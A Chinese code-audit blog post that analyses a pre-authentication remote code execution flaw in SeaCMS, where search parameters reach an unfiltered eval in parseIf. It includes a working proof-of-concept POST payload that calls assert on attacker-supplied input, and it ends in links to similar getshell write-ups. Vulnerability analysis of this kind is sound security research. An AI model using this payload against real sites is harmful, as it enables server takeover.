【代码审计】seacms 前台Getshell分析
一、漏洞分析
漏洞触发点search.php 211-213行

跟进parseIf 函数 ./include/main.class.php
这里要注意 3118行的位置,可以看到未做任何处理的eval

二、触发条件
if(intval($searchtype)==5)
if (strpos($content,'{if:')=== true)
{if:(.*?)}(.*?){end if}
if (strpos($strThen,$labelRule2)===false)
if (strpos($strThen,$labelRule3)>=0){
三、构造POC
http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();
1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar
如果是$strIf=$iar[0]; 则代表匹配整个的结果
$strIf=$iar[1][$m]; 这里匹配整个内容的第一个子组 1)print_r($_POST[func]($_POST[cmd]));//
2.
...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){
$strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句
3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!
最终进入语句带代码
eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")
四、漏洞验证

【代码审计】seacms 前台Getshell分析的更多相关文章
- PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)
PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在 ...
- 利用Thinkphp 5缓存漏洞实现前台Getshell
0×00 背景 网站为了实现加速访问,会将用户访问过的页面存入缓存来减小数据库查询的开销.而Thinkphp5框架的缓存漏洞使得在缓存中注入代码成为可能.(漏洞详情见参考资料) 本文将会详细讲解: 1 ...
- ShopEX 4.8.5.81822 前台Getshell
ShopEX 4.8.5.81822 前台Getshell 作者:unhonker 发布:2014-06-23 00:12 分类:漏洞公布 被撸:8,179次 抢沙发 利用方式 ...
- phpcms v9 前台getshell脚本
phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...
- PHP7CMS 无条件前台GETSHELL
PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的. 01 0 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- [代码审计]covercms 后台getshell
0x00 环境介绍 CMS名称: covercms 运行环境: php 5.6.27-nts + apache + mysql 系统版本: 1.16 漏洞等级:高危 漏洞简介: 后台awnotas.i ...
- 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)
帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...
- phpcms9 从注入点入手和 从前台getshell
弄了3天了 这个点 总结一下这三天的坑吧 0X01 注入点入手 /index.php?m=wap&c=index&a=init&siteid=1 获取cookie 传给 us ...
随机推荐
- Milking Time POJ - 3616 dp 感觉像背包
#include<iostream> #include<algorithm> #include<cstring> #include<cstdio> us ...
- FatMouse's Speed HDU - 1160 最长上升序列, 线性DP
#include<cstdio> #include<cstdlib> #include<cstring> #include<algorithm> usi ...
- 【安卓开发】Webview简单使用
什么是WebView? 答:Android内置webkit内核的高性能浏览器,而WebView则是在这个基础上进行封装后的一个 控件,WebView直译网页视图,我们可以简单的看作一个可以嵌套到界面上 ...
- PP: Shallow RNNs: a method for accurate time-series classification on tiny devices
Problem: time series classification shallow RNNs: the first layer splits the input sequence and runs ...
- PHP返回json数据为null
文件编码非utf-8,导致json_encode()返回false:最后前台ajax接收不到数据
- Java TreeSet集合 比较器排序Comparator的使用
比较器排序Comparator的使用 存储学生对象,并遍历,创建TreeSet集合使用带参构造方法 要求,按照学生年龄从小到大排序,如果年龄相同,则按照姓名的字母循序排序 结论 用TreeSet集合存 ...
- Paper: A Novel Time Series Forecasting Method Based on Fuzzy Visibility Graph
Problem define a fuzzy visibility graph (undirected weighted graph), then give a new similarity meas ...
- C语言-宏定义与使用分析
1.C语言中的宏定义 #define是预处理器处理的单元实体之— #define定义的宏可以出现在程序的任意位置 #define定义之后的代码都可以使用这个宏 2.定义宏常量 #define定义的宏常 ...
- 解决无法将“babel”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
错误截图: 第一反应想到的是环境变量没有配置好,再仔细检查一下,并没有错误 在cmd窗口运行命令“ babel --version ”,如果出现对应的版本号,那就说明环境变量是正确的 解决方案: 用管 ...
- mysql分组,然后组内排序取最新的一条
参照: https://blog.csdn.net/qq_16504067/article/details/78589232 https://www.cnblogs.com/w1441639547/p ...